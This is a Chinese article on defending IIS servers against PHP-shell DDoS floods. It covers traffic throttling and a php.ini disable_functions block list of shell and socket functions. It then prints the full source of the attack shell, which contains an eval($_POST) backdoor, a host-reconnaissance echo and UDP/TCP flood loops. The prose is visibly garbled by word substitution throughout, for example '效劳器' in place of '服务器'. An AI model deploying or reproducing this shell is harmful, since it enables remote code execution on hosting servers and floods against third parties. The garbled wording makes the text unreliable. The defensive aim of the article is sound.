这类攻击有一个最大的特性,就是上传流量霎时增大,通常流量高达数十以至近百M,将整台效 劳器,以至将整台机柜的宽带堵住,使网站无法运转,而这样的攻击,我们无法从远程处理,一但那个phpshell运转,你的宽带将被全部占用,远程都无法 衔接。

  被攻击后能做的只要联络机房的工作人员,让他进到你的效劳器里把你的IIS关掉,再没查分明是哪个站点被入侵时,尽量一个站点也不要开,以免再 次遭到攻击,怎样看是不是这个攻击呢,不能说关掉ISS好了,就是这种攻击了,而要依据更精确的查看,才能够肯定是什么问题,翻开360平安卫士,然后翻 开功用大全,到里面找到流量防火墙,在这里你能够看到每一个进程的上传和下载流量的几,留意躲藏的系统效劳也要点开看一下,普通都是上传超大才是 phpddos攻击,而且普通都会在w3wp.exe和mysql.exe上传流量会很大,最小也几百M,最大几G,好晓得是这个攻击了,我们就来想方法 处理。

  处理办法:

  1.应用360流量防火墙,把w3wp.exe和mysql.exe的上传流量限制一下,依据你效劳器本身宽带的状况停止限制,普通限制在 200—300KB都没什么问题,这样就不怕phpshell发起大流量攻击了,不过这个方法有一个缺陷,就是当你重新启动效劳器时,你之前所限制 w3wp.exe和mysql.exe就不起作用了,要重新限制一下,用这个办法的朋友一定要留意这一点。

  2.经过更改php运转环境来处理,翻开php.ini找到disable_functions=这项,然后把后面改成 gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen。 将allow_url_fopen = Off,再找到extension=php_sockets.dll这项,把前面加上分号,就是屏蔽掉这项。

  3.经过查找攻击源处理,批量查找一切网站内能否存在phpshell攻击源代码,源代码为(由于代码太乱以图片方式展现给大家)如图:

复制代码

代码如下:

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 

if(StrLen($_GET['rat'])<>0) 

echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 

echo "Php 2012 Terminator"; 
exit; 

for($i=0;$i<65535;$i++) 

$out .= "X"; 

//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 

$packets++; 
if(time() > $max_time) 

break; 

$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 

fwrite($fp, $out); 
fclose($fp); 


else 
if($rand==500) 
while(1) 

$packets++; 
if(time() > $max_time){ 
break; 

$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 

fwrite($fp, $out); 
fclose($fp); 


else 
while(1) 

$packets++; 
if(time() > $max_time){ 
break; 

$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 

fwrite($fp, $out); 
fclose($fp); 


?> 

PHP DDos的几个防御方法详解的更多相关文章

  1. session的使用方法详解

    session的使用方法详解 Session是什么呢?简单来说就是服务器给客户端的一个编号.当一台WWW服务器运行时,可能有若干个用户浏览正在运正在这台服务器上的网站.当每个用户首次与这台WWW服务器 ...

  2. Kooboo CMS - Html.FrontHtml[Helper.cs] 各个方法详解

    下面罗列了方法详解,每一个方法一篇文章. Kooboo CMS - @Html.FrontHtml().HtmlTitle() 详解 Kooboo CMS - Html.FrontHtml.Posit ...

  3. HTTP请求方法详解

    HTTP请求方法详解 请求方法:指定了客户端想对指定的资源/服务器作何种操作 下面我们介绍HTTP/1.1中可用的请求方法: [GET:获取资源]     GET方法用来请求已被URI识别的资源.指定 ...

  4. ecshop后台增加|添加商店设置选项和使用方法详解

    有时候我们想在Ecshop后台做个设置.radio.checkbox 等等来控制页面的显示,看看Ecshop的设计,用到了shop_config这个商店设置功能 Ecshop后台增加|添加商店设置选项 ...

  5. (转)Spring JdbcTemplate 方法详解

    Spring JdbcTemplate方法详解 文章来源:http://blog.csdn.net/dyllove98/article/details/7772463 JdbcTemplate主要提供 ...

  6. C++调用JAVA方法详解

    C++调用JAVA方法详解          博客分类: 本文主要参考http://tech.ccidnet.com/art/1081/20050413/237901_1.html 上的文章. C++ ...

  7. windows.open()、close()方法详解

    windows.open()方法详解:         window.open(URL,name,features,replace)用于载入指定的URL到新的或已存在的窗口中,并返回代表新窗口的Win ...

  8. CURL使用方法详解

    php采集神器CURL使用方法详解 作者:佚名  更新时间:2016-10-21   对于做过数据采集的人来说,cURL一定不会陌生.虽然在PHP中有file_get_contents函数可以获取远程 ...

  9. JAVA 注解的几大作用及使用方法详解

    JAVA 注解的几大作用及使用方法详解 (2013-01-22 15:13:04) 转载▼ 标签: java 注解 杂谈 分类: Java java 注解,从名字上看是注释,解释.但功能却不仅仅是注释 ...

随机推荐

  1. Easyui datagrid绑定数据,新增,修改,删除方法(一)

    @{ ViewBag.Title = "UsersList"; } <script type="text/javascript"> $(functi ...

  2. docker部署PiggyMetrics分布式微服务

    在上一篇文章里http://www.cnblogs.com/lyhero11/p/8686058.html, 讲解了如何在windows10下安装docker社区版. 那如何利用docker落地一个分 ...

  3. C/C++掌握技能(二)

    多组输入:

  4. Java Listener中Spring接口注入的使用

    在项目中使用Spring通常使用他的依赖注入可以很好的处理,接口与实现类之间的耦合性,但是通常的应用场景中都是Service层和DAO层,或者web层的话, 也是与Strust2来整合,那么如何在Li ...

  5. SpringBoot入门之内嵌Tomcat配置

    spring boot默认web程序启用tomcat内嵌容器tomcat,监听8080端口,servletPath默认为 / .需要用到的就是端口.上下文路径的修改,在spring boot中其修改方 ...

  6. Redis---Hash(字典)

    1. 概述 Redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象. Redis 中每个 hash 可以存储 232 - 1 键值对(40多亿). ...

  7. 基于iview的后台管理

    年前由于时间紧迫,原本使用iview技术开发后台管理系统的大神另有任务,我中途接手该项目,此前对于iview一无所知的我是一脸的懵逼,好在后台管理的整体框架大神已经搭建好了,而我之前对vue也有一定的 ...

  8. Linux玩转redis从入门到放肆--1.缓存击穿

    1. 缓存穿透在大多数互联网应用中,缓存的使用方式如下图所示: 1.当业务系统发起某一个查询请求时,首先判断缓存中是否有该数据:2.如果缓存中存在,则直接返回数据:3.如果缓存中不存在,则再查询数据库 ...

  9. redo log文件格式描述

  10. CentOS 6(64-bit) + Nginx搭建静态文件服务器

    Nginx搭建静态文件服务器 使用命令打开Nginx配置文件: sudo vim /etc/nginx/conf.d/default.conf 将配置改为: server { ...... ..... ...